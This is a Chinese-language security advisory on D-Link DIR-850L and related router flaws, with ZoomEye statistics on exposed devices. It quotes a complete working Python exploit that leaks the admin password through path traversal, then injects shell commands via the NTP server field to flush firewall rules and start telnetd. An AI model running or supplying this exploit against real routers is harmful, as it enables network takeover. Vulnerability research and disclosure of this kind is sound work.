作者:知道創宇404實驗室
報告發布日期:2017年08月11日
PDF 版報告下載:D-Link 路由器信息泄露和遠程命令執行漏洞分析及全球數據分析報告
0x00 背景
D-Link(即友訊網絡)[1],一家生產網絡硬件和軟件產品的企業,主要產品有交換機、無線產品、寬帶產品、網卡、路由器、網絡攝像機和網絡安全產品(防火墻)等。
2017年8月8號,SecuriTeam在博客公布了D-Link 850L多個漏洞的漏洞細節和PoC[2],其中包括通過WAN和LAN的遠程代碼執行、通過WAN和LAN口的未授權信息泄露、通過LAN的root遠程命令執行。
2017年8月9日,Seebug收錄了該廠商旗下D-Link DIR-850L云路由器的多個漏洞[3]。攻擊者通過路由器公網入口可獲取路由器后臺登錄憑證并執行任意代碼。
知道創宇404實驗室本地測試發現多款D-Link DIR系列路由器也受到該漏洞影響。
根據ZoomEye的探測和分析,存在漏洞的D-Link路由器型號如下:

D-Link供應商已經發布了補丁Firmware: 1.14B07 BETA修復該漏洞[4]。
0x01 漏洞分析
這個漏洞由兩個漏洞組成,通過第一個漏洞和第二個漏洞,可以形成完整的攻擊鏈。根據公布的PoC我們可以分析漏洞的成因。
下面是PoC的代碼。
#!/usr/bin/env python3
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
COMMAND = ";".join([
"iptables -F",
"iptables -X",
"iptables -t nat -F",
"iptables -t nat -X",
"iptables -t mangle -F",
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT",
"iptables -P FORWARD ACCEPT",
"iptables -P OUTPUT ACCEPT",
"telnetd -p 23090 -l /bin/date" # port 'Z2'
])
session = requests.Session()
session.verify = False
############################################################
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
hedwig.cgi會調用fatlady.php來應用設置加載配置。這里我們可以通過設置service來加載任何php后綴的文件。
/htdocs/webinc/fatlady.php

這里我們可以通過加載配置文件來列出用戶賬戶的口令。
/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php

獲得管理員口令后,我們可以登陸并出發第二個漏洞 – NTP服務器shell命令注入。

通過請求getcfg.php來加載DEVICE.TIME.php頁面。
/htdocs/web/getcfg.php

跟入DEVICE.TIME.php頁面。
這里server變量沒有任何過濾直接拼入命令。

通過上述兩個漏洞,我們就可以無限制命令執行。
以下為漏洞證明:


成功命令執行。
0x02 數據分析
根據ZoomEye網絡空間搜索引擎截止到2017年8月9日探測和分析的數據,對存在漏洞的D-Link路由器進行全球范圍的分析,如下圖所示。
上圖是此次D-Link DIR系列路由器信息泄露和遠程命令執行漏洞的全球分析結果。通過上圖可以大體了解到哪些國家和地區的D-Link DIR系列路由器設備正在面臨嚴重的安全威脅。存在威脅的D-Link DIR系列路由器在較為發達的國家和地區比較多。
下圖是受影響國家和地區top10的數據分析。
可以看到存在漏洞的D-Link DIR系列路由器在新加坡、韓國和美國尤其多,已經超過1000條記錄,新加坡更是超過了2000條記錄。其他國家和地區也存在不少。如果修復不及時,很有可能被黑客利用,破壞受威脅國家和地區的網絡設施,造成重要數據泄露、網絡癱瘓等不可挽回的嚴重后果。
下圖是國內的情況。
將目光轉至國內。中國內地可以探測到的受威脅的路由器設備并不多,僅有19條記錄。有安全隱患的D-Link DIR系列路由器更多集中在我國臺灣省和香港地區,一共有843條記錄。中國內地探測到的受此次漏洞威脅的路由器不多的原因可能有兩點:1.國內公網IP數稀少,分配給D-Link路由器過于奢侈;2. D-Link DIR系列路由器在國內銷量不高。
接下來從路由器型號的角度進行分析。
可以看到路由器型號中DIR-868L與DIR-850L受影響比較嚴重,DIR-868L占了大約31.66%,而DIR-850L大約占了21.67%。
從固件版本來分析,DIR-868L的1.03SHC、1.09版本固件受影響數量多,分別占比7.03%、5.24%,DIR-850L的1.15固件版本受影響數量較多,占比5.22%,DIR-610的1.01占比8.11%,以及DIR-601N+的1.00版本的固件占比7.15%,以上受影響的固件版本占比均超過5%。
下圖是受影響路由器型號詳細的數據分析。
受漏洞威脅的路由器型號集中在DIR-868L、DIR-850L這兩個型號上,共有5909條記錄。從圖表中同樣可以看出存在漏洞的路由器型號和固件版本影響范圍之廣。
下面從路由器連接端口的統計數據進行分析。
從端口上來分析,路由器登陸入口大多集中在常見的8080和80端口。開在其他端口的情況也有很多,端口分布廣泛。
0x03 總結
這次D-Link DIR系列路由器遠程命令執行漏洞是通過兩個漏洞的配合:首先利用信息泄露獲得賬號及口令,然后利用NTP的漏洞執行任意命令。
此次D-Link DIR系列路由器漏洞危害十分嚴重。黑客如果拿下路由器就相當于獲得了該網絡的控制權。所以請相關人員及時打上補丁,或者聯系專業人員處理。
通過ZoomEye的全球數據分析可以看到,此次漏洞影響十分廣泛,牽扯到全球很多國家和地區。
飛速發展的物聯網給我們帶來便利的同時,危險也悄然而至。云路由讓我們可以方便地控制遠在天邊的設備。但與此同時,不懷好意之人也在覬覦你暴露在網絡上的私有財產。所以我們在享受網絡的同時,也需要時刻注意網絡安全維護。
0x04 相關鏈接
[1] D-Link官網:http://us.dlink.com
[2] 漏洞詳情及PoC:https://blogs.securiteam.com/index.php/archives/3364
[3] SeeBug 收錄:https://www.seebug.org/vuldb/ssvid-96333
[4] 官方補丁:http://support.dlink.com/ProductInfo.aspx?m=DIR-850L
0x05 更新情況

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/385/
暫無評論